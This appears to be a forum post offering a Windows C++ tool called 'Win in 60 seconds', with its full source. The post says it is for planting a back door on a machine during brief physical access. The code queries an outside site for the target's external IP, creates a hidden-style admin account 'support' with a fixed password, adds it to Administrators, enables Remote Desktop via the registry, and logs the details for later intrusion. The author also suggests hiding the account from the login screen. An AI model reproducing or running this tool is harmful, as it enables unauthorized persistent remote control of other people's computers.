Win in 60 seconds!
This is a simple tool that, when run in elevated mode, creates an user, adds that user to the Administrator group, enables RDP and also get's the external IP of the machine. It does all that within 60 seconds (generally around 15 seconds). The idea is, when you have a short amount of access on a machine, say on the network, and want to quickly gain back door remote access, this tool does it all for you. You could, for instance, plug a USB with this tool on it, run the software, pop it back out again and walk away, it will save all the results for you on that directory. Then go home, read the results, remotely access the machine using the WAN IP stored in the file, login with your new admin account and have full remote administrative access, all from within that tool that takes seconds to run. So please take a look and you'll see how this can be handy. Yes you can makes scripts to do this, but it's smooth, quick and reliable.
DOWNLOAD
Source:
Code
#include <windows.h>
#include <wininet.h>
#include <iostream>
#include <conio.h>
#include <string>
#include <fstream>
#pragma comment(lib, "wininet")
std::string result = "";
//Pipe for streaming data
std::string exec(char* cmd) {
FILE* _pipe = _popen(cmd, "r");
if (!_pipe) return "ERROR";
char buffer[128];
while(!feof(_pipe)) {
if(fgets(buffer, 128, _pipe) != NULL)
result += buffer;
}
_pclose(_pipe);
return result;
}
void getwan()
{
//GET WAN IP
HINTERNET hInternet, hFile;
DWORD rSize;
char buffer2[100];
hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
hFile = InternetOpenUrl(hInternet, "http://www.whatsmyip.us/showipsimple.php", NULL, 0, INTERNET_FLAG_RELOAD, 0);
InternetReadFile(hFile, &buffer2, sizeof(buffer2), &rSize);
buffer2[rSize] = '\0';
InternetCloseHandle(hFile);
InternetCloseHandle(hInternet);
result+="Targets WAN Ip address = " ;
result+=buffer2;
result+="\n";
}
int main()
{
result+="Log for Win in 60 seconds by Dreamwalker\n";
result+="\thttp://Dream-walker.weebly.com\n";
result+="======\n\n";
std::cout<<"Win in 60 seconds, by Dreamwalker\n"<<std::endl;
//get external IP
std::cout<<"Getting machines external IP...."<<std::endl;
getwan();
//------Execute commands------
//CREATE NEW USER ACCOUNT
std::cout<<"Creating user...."<<std::endl;
exec("net user support password$C /add");
result+="IF SUCESSFUL, admin account created:\nUsername = \"support\" \nPassword = \"password$C\"\n";
//ADD USER TO ADMIN GROUP
std::cout<<"Adding to Administrators group...."<<std::endl;
exec("net localgroup administrators support /add");
//ENABLE REMOTE DESKTOP
std::cout<<"Enabling remote desktop..."<<std::endl;
exec("reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f");
result+="Targets remote desktop should now be enabled\n";
result+="WARNING: I suggest editing the registry and hiding the user from the welcome login screen!\n";
//write file
std::ofstream writer("log.txt",std::ios::app);
if(!writer)
{
std::cout<<"Error writing file!"<<std::endl;
Sleep(5000);
return -1;
}
writer<<result<<std::endl;
writer.close();
std::cout<<"FINISHED, there is a \"log.txt\" file saved in this directory"<<std::endl;
char tmp;
std::cin>>tmp;
return 0;
}Enjoy!
